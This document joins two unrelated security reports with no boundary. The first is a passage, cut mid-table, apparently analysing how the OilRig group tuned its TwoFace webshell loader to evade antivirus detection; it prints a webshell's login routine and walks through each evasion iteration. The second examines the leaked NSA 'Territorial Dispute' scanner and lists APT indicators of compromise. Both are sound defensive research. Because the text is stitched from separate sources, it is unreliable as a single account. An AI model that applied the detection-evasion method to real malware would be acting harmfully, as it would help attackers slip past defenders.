11/15/17 | 03:32 | 672a43ef6914f6090c20... | out2.aspx | 1 | | 21 | 11/15/17 | 10:08 | 03e2c6850887702ae70d... | out1.aspx | 1 | | 22 | 11/15/17 | 00:49 | 3e0c251962976395fff4... | out1.aspx | 0 | | | 11/15/17 | 01:27 | 3efe6ed1864fa36df9d4... | 2222.aspx | 0 | We have included analysis of all the changes made throughout the testing activities in the iterations listed in Table 1 in the Appendix; however, it is important to discuss the more interesting activities we observed during testing. The most important observation is the developer systematically removes lines of code until they observe a change in detection rate, specifically a decrease to locate the lines of code that are used by security vendors for detection. Once they determine the line of code detected, they add the line of code back but in a modified state and look for a change in the detection rate, specifically an increase to see if they can determine the specific data within that line of code that is detected. We see this general process of making changes and monitoring for increases and decreases in detection rate throughout the activity. Using this process, the developer was able to first determine that the cause of detection relied on the encoded and encrypted data for the embedded webshell. The developer was able to determine that detection did not solely rely on the embedded webshell. Rather, the detection was based on both the embedded webshell and a line of code that allowed an actor to update the embedded payload webshell by writing the encoded and encrypted data to be used as the embedded payload to the TwoFace loader file. The developer ended testing with a zero-detection rate by leaving the encoded and encrypted data for the embedded webshell unchanged, but removed the embedded payload update functionality within the TwoFace loader script. ## Possible TwoFace++ Embedded Payload As you may have noticed, Table 1 has 24 files listed for the 22 iterations of testing, which seems one too many. The last file in Table 1, specifically 2222.aspx, is not a TwoFace loader sample; rather, it is another webshell entirely. It appears the developers refer to this as DarkShell based on the string in the authentication routine of “DarkShellPasswordSet”. We are tracking this webshell under the name DarkSeaGreenShell, as the webshell has a table border color set to “darkseagreen” and DarkShell has already been used to track another malware family. We believe the 2222.aspx may be a variant of the payload webshell embedded within the TwoFace loader samples seen in testing activities. We cannot confirm as we have been unable to decrypt the 3DES encrypted payload webshell in the TwoFace loader scripts seen during testing. However, the 2222.aspx file is 8,213 bytes in size and the decoded ciphertext of the embedded webshell in the TwoFace files is 8,224 bytes in length. While the two differ by 11 bytes, it is possible the differences in sizes were caused by changes made to the webshell prior to testing. We know a developer modified the 2222.aspx file to some extent, as the authentication routine within the webshell suffers from obvious logic errors that appear to be the result of a developer attempting to determine what is causing detection. For example, the ‘chk’ function seen in the code block below authenticates inbound requests to the webshell; however, this function contains several major errors that break the authentication mechanism. As you can see from the code block, successful authentication requires the Base64 encoded SHA1 hash of a password in the ‘pass’ variable to match the hardcoded string “DarkShellPasswordSet.” A successful match is impossible, as there is no SHA1 hash that can be Base64 encoded to match the “DarkShellPasswordSet” string. ```csharp protected bool chk(string pass) { try { System.Security.Cryptography.SHA1 sha = new System.Security.Cryptography.SHA1CryptoServiceProvider(); byte[] hash = sha.ComputeHash(Encoding.ASCII.GetBytes(pass)); string aut = Convert.ToBase64String(new System.Security.Cryptography.SHA1CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(pass))); if (aut != "DarkShellPasswordSet") { this.__VIEWP.BackColor = System.Drawing.Color.Red; return false; } else { this.__VIEWP.BackColor = System.Drawing.Color.Green; return true; } } catch (Exception ex) { Label1.Text = ex.Message; return false; } } ``` We believe the developer made changes to this authentication routine during testing activities. To test its functionality (and to generate the screenshot), we had to modify the webshell’s code to successfully authenticate. The changes to portions of the authentication routine in DarkSeaGreenShell may explain the 11-byte difference in size between the 2222.aspx file and the payload embedded within the TwoFace loader test files. ## Conclusion The OilRig threat group continues to test their toolset systematically and methodically prior to use. Based on our analysis, the developer used very similar processes to test the TwoFace loader script that we previously saw in the testing activities of the Clayslide macros. The process involves testing each file, making modifications to the file, retesting the newly modified file, and checking for increases and decreases in the detection rate. The testing of the TwoFace loader script clearly shows the developer attempting to determine exactly what lines of code are causing detection. The testing also shows the developer attempting to modify the lines of code that were detected in order to evade detection while maintaining functionality. At the end of testing, the developer just removed the ability for an actor to remotely update the embedded payload within the TwoFace loader script. We believe the developer chose to remove this functionality to evade detection, as an actor could just deploy the embedded payload webshell within the TwoFace loader script and upload a new TwoFace loader script to satisfy the same functionality. ## Appendix The subsections in this appendix will provide details of each iteration of testing of the TwoFace loader script. Additionally, we provide our analysis of the changes the developer made in each iteration. We also provide a screenshot of the differences made to the TwoFace loader script generated using GitHub’s unified diffing functionality, where lines of code with red backgrounds were removed during the iteration, the lines of code with a green background were added, and the lines of code with a white background remained the same. ### Iteration 1 **Files:** 4be8a58d4bd73af4d4e2741a31b30ad16a733ce824afe445277c92ae5de08ab4 vs 23dd0e94999d9f7dc764615f230d24180dc623cf89e06997743d68f51e3ce163 **Filenames:** out1.aspx vs in1.aspx **Delta:** 1 minute 30 seconds **Positives:** 3 -> 3 **Analysis:** In the first iteration, the actor removes the HTML tags that surround the core TwoFace loader code, including the 'Page Language="C#"' header. This did not change the detection rate. ### Iteration 2 **Files:** 23dd0e94999d9f7dc764615f230d24180dc623cf89e06997743d68f51e3ce163 vs da280d5b0955fc1dce27c6fbbbdbe3049949ad75b0d3fb00dc9e736c7ba84668 **Filenames:** in1.aspx vs out2.aspx **Delta:** 2 minutes 2 seconds **Positives:** 3 -> 2 **Analysis:** The developer puts the HTML tags and C# header back into the file, but removes the line that sets the password salt variable ("hnRwONTdZ") and changes the variable that stores the embedded webshell's Base64 encoded ciphertext to "222". This change lowered the detection rate, suggesting that either the password salt variable line or the embedded webshell's encoded ciphertext causes detection. ### Iteration 3 **Files:** da280d5b0955fc1dce27c6fbbbdbe3049949ad75b0d3fb00dc9e736c7ba84668 vs e7963620205f52b5e2649911acd68d08fcebcbdc7dd312ef73c602f07d730e06 **Filenames:** out2.aspx vs out2.aspx **Delta:** 9 minutes 41 seconds **Positives:** 2 -> 2 **Analysis:** The developer does nothing more than removing the line that stores the embedded webshell's Base64 encoded ciphertext. ### Iteration 4 **Files:** e7963620205f52b5e2649911acd68d08fcebcbdc7dd312ef73c602f07d730e06 vs 387738ad7e732ad3b63af2fd51da311c5d01ffca031230d81ee627221b56ff09 **Filenames:** out2.aspx vs out2.aspx **Delta:** 55 seconds **Positives:** 2 -> 2 **Analysis:** The developer removes the line that obtains the Base64 encoded password from the inbound request, decodes it, and saves it to a variable ("BSfbQohad"). ### Iteration 5 **Files:** 387738ad7e732ad3b63af2fd51da311c5d01ffca031230d81ee627221b56ff09 vs a443f6918d4ea0caca0bee8afb41e972bc5f9b7b49a1b72e8a254fdb887988ba **Filenames:** out2.aspx vs out2.aspx **Delta:** 5 minutes 18 seconds **Positives:** 2 -> 0 **Analysis:** The developer adds the variable ("NQkRIVFnXc") used to store the embedded webshell, but assigns it an empty string. They also add the line used to obtain the password removed from the previous iteration. The main difference seen in this iteration is the fact the developer now has the TwoFace code formatted in a form that looks similar to pretty print. These changes lowered the detection rate to 0, which suggests to the developer that the detections are occurring on the embedded webshell's encoded ciphertext. ### Iteration 6 **Files:** a443f6918d4ea0caca0bee8afb41e972bc5f9b7b49a1b72e8a254fdb887988ba vs bd0d9f267318da8197913a56f240f0a0152a5ad96acddc85eed97096d42b0479 **Filenames:** out2.aspx vs out2.aspx **Delta:** 1 minute 27 seconds **Positives:** 0 -> 1 **Analysis:** The developer changes the variable ("NQkRIVFnXc") used to store the embedded webshell to the original Base64 encoded ciphertext of the webshell seen in the first testing sample. They also reintroduce the password salt variable ("hnRwONTdZ") with its original value as well. Therefore, the differences between the sample generated in this testing iteration compared to the initial file result in only formatting, as the current file is formatted using pretty print and the original sample was not. ### Iteration 7 **Files:** bd0d9f267318da8197913a56f240f0a0152a5ad96acddc85eed97096d42b0479 vs fcecc7392b8a51c215f569bb56044409ceb4ab9beccabb6128e9458add1deac1 **Filenames:** out2.aspx vs out2.aspx **Delta:** 2 minutes 6 seconds **Positives:** 1 -> 0 **Analysis:** The developer removes the line that sets the password salt variable ("hnRwONTdZ") and removes all but the first 4 bytes of the Base64 encoded ciphertext within the variable ("NQkRIVFnXc"). We believe the developer is checking to see if the password salt variable/value or the first four bytes of the encoded ciphertext of the webshell were causing detection. ### Iteration 8 **Files:** fcecc7392b8a51c215f569bb56044409ceb4ab9beccabb6128e9458add1deac1 vs bc76fea3f9b549799f73c675a5f141d32c775e6afac53a71c06124dbece65e7c **Filenames:** out2.aspx vs out2.aspx **Delta:** 1 minute 18 seconds **Positives:** 0 -> 0 **Analysis:** The developer reintroduces the line that sets the password salt variable ("hnRwONTdZ") and its original value and sets the variable ("NQkRIVFnXc") used to store the embedded webshell to an empty string. These changes suggest to the developer that detection is not caused by the password salt variable and value, but the detection is part of the encoded ciphertext of the embedded webshell. ### Iteration 9 **Files:** bc76fea3f9b549799f73c675a5f141d32c775e6afac53a71c06124dbece65e7c vs a6c62217c27a0bc0a5d9ea37c71d29049846a3d75b680b9ae74cf5ff498af529 **Filenames:** out2.aspx vs w1.aspx **Delta:** 2 minutes 16 seconds **Positives:** 0 -> 0 **Analysis:** The developer removes all lines of code from the TwoFace loader script except for the line that sets the variable ("NQkRIVFnXc") used to store the embedded webshell to its original value. The detection rate does not increase, which tells the developer that the detection is not solely focused on the embedded webshell's encoded ciphertext. ### Iteration 10 **Files:** a6c62217c27a0bc0a5d9ea37c71d29049846a3d75b680b9ae74cf5ff498af529 vs 9fd3672c9d3d43755495e85cead5c6a5d67fab70178250aeb8f01b3dd09f820f **Filenames:** w1.aspx vs out2.aspx **Delta:** 1 minute 22 seconds **Positives:** 0 -> 1 **Analysis:** In this iteration of testing, the developer reverts all the changes made in the previous iteration by removing the line that sets the variable ("NQkRIVFnXc") used to store the embedded webshell and added all of the lines removed from the script. The main change done in this iteration is to initialize the variable ("NQkRIVFnXc") used to store the embedded webshell on one line and setting it to its original value on another line. The purpose of this change is to see if detection is caused by initializing the variable and setting its value in one line of code, instead of splitting up into two lines. The detection rate increases, suggesting that splitting the variable initialization and variable value setting does not evade detection. ### Iteration 11 **Files:** 9fd3672c9d3d43755495e85cead5c6a5d67fab70178250aeb8f01b3dd09f820f vs d3983d0bccd38b6198f9dcc9d0a0eec46d31ccad0e7b9575e25368e740b51a6a **Filenames:** out2.aspx vs w1.aspx **Delta:** 12 minutes 5 seconds **Positives:** 1 -> 0 **Analysis:** The developer reintroduces the line that sets the variable ("NQkRIVFnXc") used to store the embedded webshell to its original value. The developer then removes major portions of the TwoFace loader script, such as: - Removed line of code used to set password salt variable ("hnRwONTdZ") with its original value - Removed line of code used to get the Base64 encoded password from the inbound request, decode it, and saves it to a variable ("BSfbQohad") - Removed line of code used to compare a hardcoded hash to the SHA1 of the inbound password and password hash for authentication - Removed line of code used to obtain the physical path on the IIS server ("PATH_TRANSLATED") - Removed line of code to check the inbound request for the filename (Request.Form["n"]) to write the embedded webshell - Removed line of code to check the inbound request for the data to use to update the embedded webshell within the file - Removed lines of code used to update the embedded webshell within the file What remains of the TwoFace loader script? The developer left the code used to decrypt the embedded webshell and write it to the system. This suggests that the developer is attempting to determine what in the TwoFace loader code that coupled with the embedded webshell is causing detection. The detection rate dropped to 0, which suggests that the code used to write the embedded webshell to the system is not responsible for detection; rather, portions of the removed lines cause detection. ### Iteration 12 **Files:** d3983d0bccd38b6198f9dcc9d0a0eec46d31ccad0e7b9575e25368e740b51a6a vs 5979506165bb489dae0826daa8051588f3944a711bb5c9bdff7f5cfe5b616ea3 **Filenames:** w1.aspx vs out2.aspx **Delta:** 1 minute 19 seconds **Positives:** 0 -> 0 **Analysis:** In this iteration, the developer reintroduced the following portions of the TwoFace loader script that were removed in the previous iteration: - Added line of code used to set password salt variable ("hnRwONTdZ") with its original value - Added line of code used to get the base64 encoded password from the inbound request, decode it, and saves it to a variable ("BSfbQohad") - Added line of code used to compare a hardcoded hash to the SHA1 of the inbound password and password hash for authentication - Added line of code used to obtain the physical path on the IIS server ("PATH_TRANSLATED") - Added line of code to check the inbound request for the filename (Request.Form["n"]) to write the embedded webshell The developer omitted the lines of code responsible for checking the inbound request for data and the lines of code to update the embedded webshell within the file. The detection rate did not increase, suggesting that the developer determined that the detection is occurring in the code that allows for remote updating of the embedded webshell. ### Iteration 13 **Files:** 5979506165bb489dae0826daa8051588f3944a711bb5c9bdff7f5cfe5b616ea3 vs 3b2546a57b6edf57c7dc3f062a79a6f18e4dbb78570eede232431b36b5c51089 **Filenames:** out2.aspx vs out2.aspx **Delta:** 50 seconds **Positives:** 0 -> 0 **Analysis:** Using insight into the cause for detection from the previous iteration, the developer slowly reintroduces portions of the code used to remotely update the embedded webshell. In this iteration, the developer reintroduces the if statement that checks the inbound request for the data to use to update the embedded webshell within the file. The detection rate did not change; therefore, the developer knows that this line is not causing detection. ### Iteration 14 **Files:** 3b2546a57b6edf57c7dc3f062a79a6f18e4dbb78570eede232431b36b5c51089 vs 9ecd1f1761988994511ade39e38f22e28c9200bea3b6a1194de032d3877da757 **Filenames:** out2.aspx vs out2.aspx **Delta:** 1 minute **Positives:** 0 -> 0 **Analysis:** The developer adds another line from the code used to update the embedded webshell. The line added in this iteration is responsible for reading the contents of the TwoFace loader webshell (path stored in 'LlGKKnqJdfya') and stores the contents in a variable ('cXUIJeCnEz'). The detection rate stayed the same, which suggests to the developer that this line of code is not causing detection. ### Iteration 15 **Files:** 9ecd1f1761988994511ade39e38f22e28c9200bea3b6a1194de032d3877da757 vs fc35c1b652496932036544758d43d629696e7f33e547638b90dc9a0a0fbfd755 **Filenames:** out2.aspx vs out2.aspx **Delta:** 1 minute 4 seconds **Positives:** 0 -> 0 **Analysis:** The developer adds another line from the code used to update the embedded webshell. The line added in this iteration creates a variable that it stores a string. The string stored in the variable contains code used in TwoFace loader to initialize the variable ('NQkRIVFnXc') that stores the embedded webshell. Adding this line of code to the file did not change the detection rate, which suggests to the developer that this code does not cause detection. ### Iteration 16 **Files:** fc35c1b652496932036544758d43d629696e7f33e547638b90dc9a0a0fbfd755 vs 59155e0db84ca2aa4a4fc0c0a4f7a71446bb963e2544f131c81aa902f7c3b38d **Filenames:** out2.aspx vs out2.aspx **Delta:** 1 minute 27 seconds **Positives:** 0 -> 0 **Analysis:** The developer adds yet another line from the update code. The added line initializes a variable that stores the length of the string stored in the variable added in the previous iteration. The detection rate did not increase based on the addition of this line. ### Iteration 17 **Files:** 59155e0db84ca2aa4a4fc0c0a4f7a71446bb963e2544f131c81aa902f7c3b38d vs aa8be54babad2c70d51a0146fd42c947f5fc0705bc9edc237f61a05275cf2f31 **Filenames:** out2.aspx vs out2.aspx **Delta:** 58 seconds **Positives:** 0 -> 0 **Analysis:** The developer adds two more lines from the update code. The first line added finds the index of the double quote character in the string in the line of code introduced two iterations prior. The second line of code essentially replaces the embedded webshell read in from the TwoFace loader file with the data provided from the inbound request. The addition of these two lines did not change the detection rate. ### Iteration 18 **Files:** aa8be54babad2c70d51a0146fd42c947f5fc0705bc9edc237f61a05275cf2f31 vs e3f1e7021604e7d7a7a7c500c2564abb5b3a9c278bd7cef131e650654ef796bd **Filenames:** out2.aspx vs out2.aspx **Delta:** 46 seconds **Positives:** 0 -> 1 **Analysis:** The developer adds one more line from the update code, which is responsible for writing the variable that contains the TwoFace loader script with its newly updated embedded webshell to a file. This essentially updates the TwoFace loader file to include a new embedded webshell. The addition of this line of code increased the detection rate, which lets the developer know that detection of the TwoFace loader stems from this line of code. ### Iteration 19 **Files:** e3f1e7021604e7d7a7a7c500c2564abb5b3a9c278bd7cef131e650654ef796bd vs 65d744d907c8d69100bad5ce14ad780d57688eb6f0f1276bbf956711adfcea99 **Filenames:** out2.aspx vs out2.aspx **Delta:** 5 minutes 8 seconds **Positives:** 1 -> 1 **Analysis:** The developer now starts making changes to the line of code that writes the new TwoFace loader script to a file. In this iteration, the developer does nothing more than concatenating the 2 character to the data before writing it to the file. We believe the developer is testing to see if detection is based on the exact line of code, but this modification did not change the detection rate. ### Iteration 20 **Files:** 65d744d907c8d69100bad5ce14ad780d57688eb6f0f1276bbf956711adfcea99 vs 672a43ef6914f6090c20c19348af1bfed05919177f1bfb03dc8dbde0c8bbd49d **Filenames:** out2.aspx vs out2.aspx **Delta:** 3 minutes 32 seconds **Positives:** 1 -> 1 **Analysis:** The developer adds two lines of code before and two lines of code after the line that writes the new TwoFace loader script to the file. The developer had already determined that the lines of code added in this iteration did not cause an increase in detection, as the lines of code added are the same as introduced in iteration 15. These additions did not change the detection rate, suggesting that padding the offending line of code with additional lines of code did not affect the detection rate. ### Iteration 21 **Files:** 672a43ef6914f6090c20c19348af1bfed05919177f1bfb03dc8dbde0c8bbd49d vs 03e2c6850887702ae70db57582653d7c31c6f92d116746c610d379014a5ff4a0 **Filenames:** out2.aspx vs out1.aspx **Delta:** 10 minutes 8 seconds **Positives:** 1 -> 1 **Analysis:** The developer removes the four lines of code added in the previous iteration, as well as several newlines between lines of code earlier in the TwoFace loader script. These changes did not affect the detection rate. ### Iteration 22 **Files:** 03e2c6850887702ae70db57582653d7c31c6f92d116746c610d379014a5ff4a0 vs 3e0c251962976395fff489a985290afe02175baf0cdf3d14eb3e01b3821414e9 **Filenames:** out1.aspx vs out1.aspx **Delta:** 49 seconds **Positives:** 1 -> 0 **Analysis:** The developer completely removes the update code from the TwoFace loader script. This change brings the detection rate back down to 0.
# Territorial Dispute – NSA’s Perspective on APT Landscape ## Introduction This document is based on a specific part of the “Shadow Brokers” leaks. The unknown party, calling itself “Shadow Brokers,” leaked information about stolen information from NSA a number of times. In the fifth leak of the group, which was named "Lost in Translation," some very interesting modules were included, some of them referred to as “Territorial Dispute.” A common understanding is that the leak contains information stolen from the U.S. agency NSA, hence we will reflect the source as NSA, although we have no proofs on that. The leak is not a single set of tools, as parts are replicated over at least two different toolsets in the leaked material. However, the goal is clear. These tools are set to be used by operators to scan attacked computers (hacked targets of NSA) to check if the target has already been hacked by an outsider adversary (nation-state backed targeted attack actor). In case of external attack detected, the operator is called to make special attention. The size of the leak is huge, and there are tens of different tools and modules among them, most of them to infect computers, retrieve data, and similar. But some tools are designed to get a general knowledge about the infected computers, particularly about software, security software, and malware installed on it. While there are some other parts in the leak where the attackers (the NSA) are looking for signs of traditional cyber-crime software (malware) attacks, the Territorial Dispute part of the leak seems the most interesting. We believe they have the same goal: avoid duel between parties and minimize the risk of detection of the attack of the governmental organization. Our work, however, focuses on APT detection information that can help to understand what NSA knows about APT attacks from external governmental targeted attack operators. ## Details The tools and scripts that the NSA used to detect other third parties (governmental actors) on the target computers are very simple tools. They check for the existence of specific files, Windows registry entries, and other signs that could show the existence of external attacker presence on the actual computers. These checks are considered in the term of the security community as IoC, Indicator of Compromise. For an APT attack, we can generally define IoCs in the number of tens or hundreds, but NSA tools generally contained only very few IoCs, around 1-5, which is strange. Why do they trust information from such a closed set of indicators and not broaden it with multiple checks? In general, if we find a piece of malware and want to hunt for similar ones, we try to define 5-10 or even more different specific features, signatures to detect similar attacks. Then it can be set that the search tool should only mark something important if 6 of 10 signs are found in the sample. The same could stand for an infected computer: One single registry key or existence of a single file named something common like “ipfilter.dll” might not be a good idea to make a detection based on it. But still, as we mentioned, the detection IoCs are very limited in number. One trivial answer is that while they had probably more information and ideas for detection, they utilized the process in a way to give as little information as possible to the operators. The operators of the leaked tools can check the source code and hence they can examine the IoCs inside. So, operators have a chance to find clues about the attacks. But once an operator could pinpoint that SIG8 is an attack against the nuclear program of Iran, who and how should inform him to keep it secret? It is a good idea to avoid such findings by limitation of the available information and reduce IoCs in the tool to as few as possible. Still, it is a question why Stuxnet was enlisted as an external attack if possibly NSA also contributed to it. It is possible that Stuxnet attack was so hidden that only very few at NSA knew about that and they really misattributed their own attack thinking it belonged to external parties, hence it is part of the list, which consists of attacks from external parties. The naming convention for the findings also reflects this fact. All these detections are referred to as SIGX, where X stands for 1 to 45. Operators should not know about operation names; they should handle the situation according to the plan. As mentioned already, the “detection engine,” the IoC scanning tools are very simplistic; they are looking for only a very few number of indicators, and it is not impossible that they detect some infections of external adversaries, but they cannot detect others. It is a very strange decision, but maybe within the organization they already made a risk analysis and it showed that there is a risk that an external party could steal, use, or leak this information. The attackers maybe thought it was a good idea to limit the presence of IoCs in their tools to lower this risk. ### IoC, Scanner, Public Information From the leak, we can extract the IoC information, the indicators of compromise, or in normal wording the things they are looking for. But the Territorial Dispute module looks for targeted APT attacks, and there is a lot of public information uncovered about targeted attacks. The module contains detection for the samples we really well know, as BME CrySyS Lab uncovered the Duqu attack, worked on MiniDuke, TeamSpy, Duqu2, or others. As there is a public set of information about APT attacks uncovered by security professionals with a limited scope, and there must be a stack of information about the same attacks and more at the intelligence community. This leak can uncover some of the gap between the knowledge of public (through publications of the security community, mainly by the contribution of AV companies, and research labs like us at BME CrySyS) and other organizations and can shed light on the amount of difference of knowledge among these parties. Some 20 years before it was known how many math experts were hired by NSA and later it was understood that NSA is at least 10 years beyond current public crypto research results. However, how much NSA (and others) are beyond gathering information on APT attacks was not uncovered yet. This leak helps us to shed light on the timeline how NSA found traces to attackers and how public information was available on the same attacks. Please note, this leak was available to all kinds of stakeholders on the internet for almost a year; hence this publication will not add new information for most of the governmental parties, and hence we believe it does not influence any nation state’s security or safety. However, common understanding of the situation at the public level is essential to avoid confusion and to help the public to make democratic decisions on procedures of the governmental institutions. In contrast, one could expect that based on the information in the leak, previously unknown APT attacks could have been already uncovered, and it is not impossible that even some still working 0-days could have been identified by professionals based on the leak. Also, it is a question if that was a good idea not to distribute information about discovered APTs by the government agency to help avoid further attacks. Of course, sharing information about ongoing attacks could be debated. First of all, sharing information might influence the attacker to change strategy and tools and hence agencies cannot continue to closely observe their activity. Also, too many revealing could have speed up other governments to build up capabilities to handle attacks similar to those that NSA is capable of doing. Finally, analysis of pros and cons of the sharing might have resulted positive for hiding information, as that should be a default decision for such entities. ### Work Method The goal of our work is to boost interest in this topic and help other researchers to work on the results. This means we are unable to check those thousands of traces that the 45 IoCs of the original leaks produce. We tried to make one step after the initial information and share by this document to initiate research to widen results. - For some known APT attacks, the findings can extend knowledge, e.g., by adding new known kernel driver names to Stuxnet attacks. - For some, only very little information was available publicly yet, but based on the IoCs malware samples, more could be uncovered and public knowledge about these could be extended, although it is very unlikely that information about the victims will be uncovered. - For some attacks, additional IoCs can start uncovering the attack, as before that traces were unavailable and hence APT research finished up in very short reports stating “XY used this attack as targeted attack, from now on we refer to this under the name of W” like reports. - On some IoCs, we never had public knowledge about the classification of a targeted (APT) attack. Based on the current results, some attacks, samples, or even hundreds of samples will get to be identified as part of some APT attacks that were previously unknown or partially unknown. Initially, we tried to collect information from traditional open-source OPSEC sources, like Google search. We also tried to collect information by Yara rules applied to our malware repository, which consists of at least 150 TB of known malicious binaries. Of course, information from one source is a basis to find more information based on the results of the previous; hence we continued to track traces. However, the set of information is just too wide so we definitely don’t claim the “extensive research” or “full research” tag; our part of the story is to make “initial research.” In the rest of the document, we mainly publish links, short information strips, and hashes. This all means we publish possibly next steps, reasoning on the origin of the attack, and all kinds of additional information that can help others to go forward. We don’t think we can or could have made the best document based on the available facts, so we appreciate if anybody would work on this and extend the common knowledge by their results. Hence, we are happy to help others to publish their extensions on our work. The current document plans to share information with professionals. Hence, in addition to the public information (in multiple types), hashes of samples are included in the results. The hashes might be partially usable; we do not have a clear vision if the samples found are really connected to the attacks. ### The Tools The tools related to “Territorial Dispute” and other APT related information can be found in the following files and directories of the Shadow Brokers leak: The `windows\Resources\TeDi\PyScripts` contains multiple files. Three of them are utility scripts, while the most interesting python program is `sigs.py`, which contains very simple ‘signatures’ (named SIG1-SIG45), which link to known and unknown APT campaigns from the recent years. The individual subroutines in this file are `find_01` to `find_45`. For example, `find_08` relates to the Stuxnet attack, as demonstration, the subroutine is very simple and short: ```python tedilog = getLogger('TERRITORIALDISPUTE') ``` In addition to the TeDi scanners, some other files also contain important information related to targeted attacks. Another directory `windows\Resources\Ep\Scripts\malfind` contains individual tools for scanning for signs of APT attacks and extracting information. For example, we identified that SIG25 is most likely the APT attack known as “Dark Hotel.” The related scanning tool is a very simple script that looks for the existence of an actual file `winver32.exe` in a very specific path. If one of the files found on the target, the operator might decide to get a copy of the file. Related code includes a “DropboxAPI” call, most likely this is the channel for the file transfer. Another tool for scanning uses an external file with definitions to find related SIGs: `windows/Resources/Ep/Scripts/ifthen/gwdef_other_peeps.txt` contains mostly the same detection rules but in a different format. The file `DriverList.db` (`windows\Resources\Ops\Databases\DriverList.db`) contains a list of drivers related to APT attacks and also a list of antivirus product drivers, hardware drivers, and some interesting ones, e.g., information on U.S./NSA related attack tools with remarks/commands for operators. A similar file in text format can also be found at `windows\Resources\Ops\Data\drv_list.txt` and a copy of it at `windows\Resources\Ep\drv_list.txt`. The driver list most likely contains known Windows kernel drivers, and remarks reveal the connection with some APT attacks. For example, it seems that “biosfix” and “bitcheck” might be related to SIG25 APT attack. From the indicators, we think SIG25 is the APT attack known as “Dark Hotel.” There are remarks for own tools: - "mscnsp", "*** FORMALRITE/UNITEDRAKE ***" - "mscoreep", "*** FOGGYBOTTOM/UNITEDRAKE ***" - "msfcvr32", "*** DANGEROUS MALWARE - SEEK HELP ASAP ***" - "msrsfler", "*** UNKNOWN - PLEASE PULL BACK ***" - "wmiapvrr", "*** FRIENDLY TOOL - SEEK HELP ASAP ***" - "bsdnfs", "*** SEEK HELP IMMEDIATELY ***" ## Summary Table of SIG Marked Attacks and Timeline | SIG no | Possible APT Other Name | First Public Report | Remarks | |--------|-------------------------|---------------------|---------| | SIG1 | Agent.BTZ (Turla?) | 2008.06.X ? | 2008.11.19. | | SIG2 | Turla | 2008.11.X. | 2014.02.15. ? | | SIG3 | ShipUp? | 2008.10.29. | | | SIG4 | Snake/Uroburos | 2014.02.28. | Dated 3+ years old | | SIG5 | Trojan dropper Agent.ikcb | 2013.10.15. | Turla tool? | | SIG6 | ? | ? | | | SIG7 | GhoTex | 2007.03.04. | Octa-B? | | SIG8 | Stuxnet | 2010.06.15. | Dated dev.: 2005~ | | SIG9 | Flame | 2012.05.28. | Dated dev.: 2010~ | | SIG10 | miniFlame | 2012.10.15. | | | SIG11 | ? | ? | | | SIG12 | Spuler? | 2012.11.26? | | | SIG13 | Agent.BTZ? | see 1 | | | SIG14 | ? | ? | | | SIG15 | Turla/Snake/Uroburos | PDF:2015 | | | SIG16 | Flame | 2012.05.28. | | | SIG17 | SunFlower / Chesire Cat / Flowershop | ~2015 | Samples point back to 2002 | | SIG18 | Moonflower / Chesire Cat / Flowershop | ? | | | SIG19 | ? | ? | | | SIG20 | Animal Farm | 2015.03.06. | In use since 2013? | | SIG21 | ? | ? | | | SIG22 | Aurora/Hydraq | 2010.01.12. | Op: 2009.06-12 | | SIG23 | Turla (Epic Turla) | 2014.08.07. | Under analysis for 10 months | | SIG24 | ? | ? | | | SIG25 | Dark Hotel | 2014.11.10. | | | SIG26 | ? | ? | | | SIG27 | ? | ? | | | SIG28 | Rotinom | 2011.01.11. | | | SIG29 | ? | ? | | | SIG30 | Exforel | 2012.11.28. | | | SIG31 | ? | ? | | | SIG32 | ? | 2008.06.13. | | | SIG33 | ? | ? | | | SIG34 | ? | 2014.05.14. | | | SIG35 | Duqu | 2011.09.01. | | | SIG36 | Stuxnet/Duqu? | see 8 / 35 | | | SIG37 | IronTiger_ASPXSpy | ? | | | SIG38 | ? | ? | | | SIG39 | Teamspy | 2013.03.10. | | | SIG40 | Sednit/Sofacy | 2015.02.09. | | | SIG41 | ? | 2011.03.29. | | | SIG42 | ? | ? | | | SIG43 | Turla | see 2, 2014.01.X | | | SIG44 | ? | ? | | | SIG45 | ? | ? | | ## SIG1 **IoC** | **Type** | **Remarks** --- | --- | --- software\microsoft\windows\currentversion\StrtdCfg | reg.key. | This might be Agent.BTZ, which is an old attack associated with Waterbug/Turla group (most common attribution: Russia) ## SIG2 **IoC** | **Type** | **Remarks** --- | --- | --- System\CurrentControlSet\Control\CrashImage | reg. key. | Might be Turla (most common attribution: Russia) ## SIG3 **IoC** | **Type** | **Remarks** --- | --- | --- SYSPATH\driver32 | directory | | SYSPATH\driver32\ldf | directory | | SYSPATH\driver32\ldf\* | file | | ## SIG4 **IoC** | **Type** | **Remarks** --- | --- | --- SYSTEMROOT\$NtUninstallQ817473$ | directory | | \\.\Hd1 | file | | \\.\Hd2 | file | | \\.\IdeDrive1 | file | | \\.\IdeDrive2 | file | | fdisk.sys | driver | | ## SIG5 **IoC** | **Type** | **Remarks** --- | --- | --- systmgmt | service | | syswpsvc.sys | driver | | system\currentcontrolset\services\systmgmt\Parameters\ServiceDll | reg.key – value name | | ## SIG6 **IoC** | **Type** | **Remarks** --- | --- | --- Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run\ipmontr | reg. key | Win32.Lucuis.A relationship? | ## SIG7 **IoC** | **Type** | **Remarks** --- | --- | --- Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run\Internet32 | reg. key | Might be a typo in the NSA IoC? | ## SIG8 **IoC** | **Type** | **Remarks** --- | --- | --- SYSPATH\s7otbxsx.dll | file | StuxNet | SYSTEMROOT\inf\mdmcpq3.pnf | file | | mrxcls | service | | s7otbxsx.sys | driver | | mrxcls.sys | driver | | mrxnet.sys | driver | | s7otbxdxa.sys | driver | | jmidebs.sys | driver | | ## SIG9 **IoC** | **Type** | **Remarks** --- | --- | --- SYSTEMROOT\..\Program Files\common files\microsoft shared\msaudio | file/dir? | | SYSTEMROOT\..\Program Files\common files\microsoft shared\mssecuritymgr | file/dir? | | SYSTEMROOT\..\Program Files\common files\micfosoft shared\MSAPackages | file/dir? | | ## SIG10 **IoC** | **Type** | **Remarks** --- | --- | --- SYSPATH\icsvnt32.dll | file | | system\currentcontrolset\control\timezoneinformation\standarddatebias | reg. key | | system\currentcontrolset\control\timezoneinformation\standardtimebias | reg. key | | icsvnt32.sys | driver | | ## SIG11 **IoC** | **Type** | **Remarks** --- | --- | --- ups32.exe | process | | utilman32.exe | process | | SYSPATH\ups32.exe | file/driver | | SYSPATH\utilman32.exe | file | | ## SIG12 **IoC** | **Type** | **Remarks** --- | --- | --- SYSTEMROOT\..\Documents and Settings\All Users\Application Data\Network | directory | | 